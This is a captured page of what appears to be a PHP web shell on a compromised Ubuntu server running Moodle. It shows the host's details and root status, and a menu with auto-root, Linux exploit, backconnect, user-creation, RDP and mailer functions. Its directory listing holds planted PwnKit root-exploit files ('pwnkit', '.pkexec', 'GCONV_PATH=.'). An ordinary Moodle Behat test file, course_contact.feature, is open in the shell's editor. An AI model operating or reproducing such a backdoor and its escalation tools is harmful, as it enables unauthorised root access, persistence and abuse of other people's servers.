Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
course /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
activities_edit_completion.fea...
2.4
KB
-rwxrwxrwx
activities_edit_name.feature
1.75
KB
-rwxrwxrwx
activities_group_icons.feature
1.79
KB
-rwxrwxrwx
activities_indentation.feature
2.06
KB
-rwxrwxrwx
activities_visibility_icons.fe...
8.61
KB
-rwxrwxrwx
activity_chooser.feature
11.91
KB
-rwxrwxrwx
activity_navigation.feature
16.58
KB
-rwxrwxrwx
activity_navigation_with_restr...
3.38
KB
-rwxrwxrwx
add_activities.feature
2.19
KB
-rwxrwxrwx
behat_course.php
84.14
KB
-rwxrwxrwx
category_change_visibility.fea...
17.1
KB
-rwxrwxrwx
category_management.feature
22.89
KB
-rwxrwxrwx
category_resort.feature
10.92
KB
-rwxrwxrwx
category_role_assignment.featu...
1.57
KB
-rwxrwxrwx
course_browsing.feature
4.21
KB
-rwxrwxrwx
course_category_management_lis...
43.87
KB
-rwxrwxrwx
course_change_visibility.featu...
5.88
KB
-rwxrwxrwx
course_contact.feature
7.35
KB
-rwxrwxrwx
course_controls.feature
9.27
KB
-rwxrwxrwx
course_creation.feature
4.15
KB
-rwxrwxrwx
course_format.feature
4.1
KB
-rwxrwxrwx
course_relativedatesmode.featu...
2.09
KB
-rwxrwxrwx
course_request.feature
4.09
KB
-rwxrwxrwx
course_resort.feature
11.28
KB
-rwxrwxrwx
course_search.feature
1.59
KB
-rwxrwxrwx
coursetags.feature
3.96
KB
-rwxrwxrwx
create_delete_course.feature
5.13
KB
-rwxrwxrwx
customfields_locked.feature
1.26
KB
-rwxrwxrwx
customfields_visibility.featur...
3.39
KB
-rwxrwxrwx
edit_settings.feature
2.49
KB
-rwxrwxrwx
force_group_mode.feature
2.11
KB
-rwxrwxrwx
frontpage_display_modes.featur...
3.15
KB
-rwxrwxrwx
general_section.feature
1.5
KB
-rwxrwxrwx
keyholder.feature
2.23
KB
-rwxrwxrwx
max_number_sections.feature
1.95
KB
-rwxrwxrwx
move_activities.feature
2.14
KB
-rwxrwxrwx
move_sections.feature
2.6
KB
-rwxrwxrwx
navigate_course_list.feature
3.09
KB
-rwxrwxrwx
paged_course_navigation.featur...
5.97
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
recommend_activities.feature
2
KB
-rwxrwxrwx
rename_roles.feature
2.47
KB
-rwxrwxrwx
restrict_available_activities....
1.88
KB
-rwxrwxrwx
role_renaming.feature
1.7
KB
-rwxrwxrwx
search_recommended_activities....
1
KB
-rwxrwxrwx
section_highlighting.feature
1.78
KB
-rwxrwxrwx
section_visibility.feature
2.24
KB
-rwxrwxrwx
view_subfolders_inline.feature
3.04
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : course_contact.feature
@core @core_course Feature: Test if displaying the course contacts works correctly: As a user I need to see the course contacts of a course. As an admin I need to be able to control the appearance of the course contacts. Background: Given the following "categories" exist: | name | category | idnumber | | Cat 1 | 0 | CAT1 | And the following "courses" exist: | fullname | shortname | category | format | | Course 1 | C1 | CAT1 | topics | And the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | | teacher2 | Teacher | 2 | teacher2@example.com | | teacher3 | Teacher | 3 | teacher3@example.com | | manager1 | Manager | 1 | manager1@example.com | | student1 | Student | 1 | student1@example.com | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | | teacher1 | C1 | teacher | | teacher2 | C1 | teacher | | teacher3 | C1 | editingteacher | | manager1 | C1 | manager | Scenario: Test general course contacts functionality for all user roles Given I log in as "admin" And I navigate to "Appearance > Courses" in site administration And I set the following fields to these values: | Manager | 0 | | Teacher | 1 | | Non-editing teacher | 0 | | Display all course contact roles | 0 | And I press "Save changes" When I am on course index And I should see "Cat 1" in the "#region-main" "css_element" And I follow "Cat 1" And I wait until the page is ready And I should see "Course 1" in the "#region-main" "css_element" Then I should see "Teacher 1" in the ".teachers" "css_element" And I should not see "Teacher 2" in the ".teachers" "css_element" And I should not see "Manager 1" in the ".teachers" "css_element" When I log out And I log in as "manager1" And I am on course index And I should see "Cat 1" in the "#region-main" "css_element" And I follow "Cat 1" And I wait until the page is ready And I should see "Course 1" in the "#region-main" "css_element" Then I should see "Teacher 1" in the ".teachers" "css_element" And I should not see "Teacher 2" in the ".teachers" "css_element" And I should not see "Manager 1" in the ".teachers" "css_element" When I log out And I log in as "teacher1" And I am on course index And I should see "Cat 1" in the "#region-main" "css_element" And I follow "Cat 1" And I wait until the page is ready And I should see "Course 1" in the "#region-main" "css_element" Then I should see "Teacher 1" in the ".teachers" "css_element" And I should not see "Teacher 2" in the ".teachers" "css_element" And I should not see "Manager 1" in the ".teachers" "css_element" When I log out And I log in as "student1" And I am on course index And I should see "Cat 1" in the "#region-main" "css_element" And I follow "Cat 1" And I wait until the page is ready And I should see "Course 1" in the "#region-main" "css_element" Then I should see "Teacher 1" in the ".teachers" "css_element" And I should not see "Teacher 2" in the ".teachers" "css_element" And I should not see "Manager 1" in the ".teachers" "css_element" Scenario: Test course contact roles without displaying all roles Given I log in as "admin" And I navigate to "Appearance > Courses" in site administration And I set the following fields to these values: | Manager | 0 | | Teacher | 1 | | Non-editing teacher | 1 | | Display all course contact roles | 0 | And I press "Save changes" When I am on course index And I should see "Cat 1" in the "#region-main" "css_element" And I follow "Cat 1" And I wait until the page is ready And I should see "Course 1" in the "#region-main" "css_element" Then I should see "Teacher 1" in the ".teachers" "css_element" And I should see "Teacher 2" in the ".teachers" "css_element" And I should see "Teacher 3" in the ".teachers" "css_element" And I should see "Teacher: Teacher 1" in the ".teachers" "css_element" And I should not see "Teacher, Non-editing teacher: Teacher 1" in the ".teachers" "css_element" And I should not see "Manager 1" in the ".teachers" "css_element" Scenario: Test course contact roles with displaying all roles and standard sorting Given I log in as "admin" And I navigate to "Appearance > Courses" in site administration And I set the following fields to these values: | Manager | 0 | | Teacher | 1 | | Non-editing teacher | 1 | | Display all course contact roles | 1 | And I press "Save changes" When I am on course index And I should see "Cat 1" in the "#region-main" "css_element" And I follow "Cat 1" And I wait until the page is ready And I should see "Course 1" in the "#region-main" "css_element" Then I should see "Teacher 1" in the ".teachers" "css_element" And I should see "Teacher 2" in the ".teachers" "css_element" And I should see "Teacher 3" in the ".teachers" "css_element" And I should see "Teacher, Non-editing teacher: Teacher 1" in the ".teachers" "css_element" And I should not see "Teacher: Teacher 1" in the ".teachers" "css_element" And I should not see "Manager 1" in the ".teachers" "css_element" And I should see teacher "Teacher 1" before "Teacher 3" in the course contact listing And I should see teacher "Teacher 3" before "Teacher 2" in the course contact listing And I should not see teacher "Teacher 1" after "Teacher 3" in the course contact listing And I should not see teacher "Teacher 3" after "Teacher 2" in the course contact listing Scenario: Test course contact roles with displaying all roles and modified sorting Given I log in as "admin" And I navigate to "Appearance > Courses" in site administration And I set the following fields to these values: | Manager | 0 | | Teacher | 1 | | Non-editing teacher | 1 | | Display all course contact roles | 1 | And I press "Save changes" And I navigate to "Users > Permissions > Define roles" in site administration And I click on "Move up" "link" in the "//td[text()[contains(.,'Non-editing teacher')]]/parent::tr/td[contains(@class, 'lastcol')]" "xpath_element" When I am on course index And I should see "Cat 1" in the "#region-main" "css_element" And I follow "Cat 1" And I wait until the page is ready And I should see "Course 1" in the "#region-main" "css_element" Then I should see "Teacher 1" in the ".teachers" "css_element" And I should see "Teacher 2" in the ".teachers" "css_element" And I should see "Teacher 3" in the ".teachers" "css_element" And I should see "Non-editing teacher, Teacher: Teacher 1" in the ".teachers" "css_element" And I should not see "Non-editing teacher: Teacher 1" in the ".teachers" "css_element" And I should not see "Manager 1" in the ".teachers" "css_element" And I should see teacher "Teacher 1" before "Teacher 2" in the course contact listing And I should see teacher "Teacher 2" before "Teacher 3" in the course contact listing And I should not see teacher "Teacher 1" after "Teacher 2" in the course contact listing And I should not see teacher "Teacher 2" after "Teacher 3" in the course contact listing
Close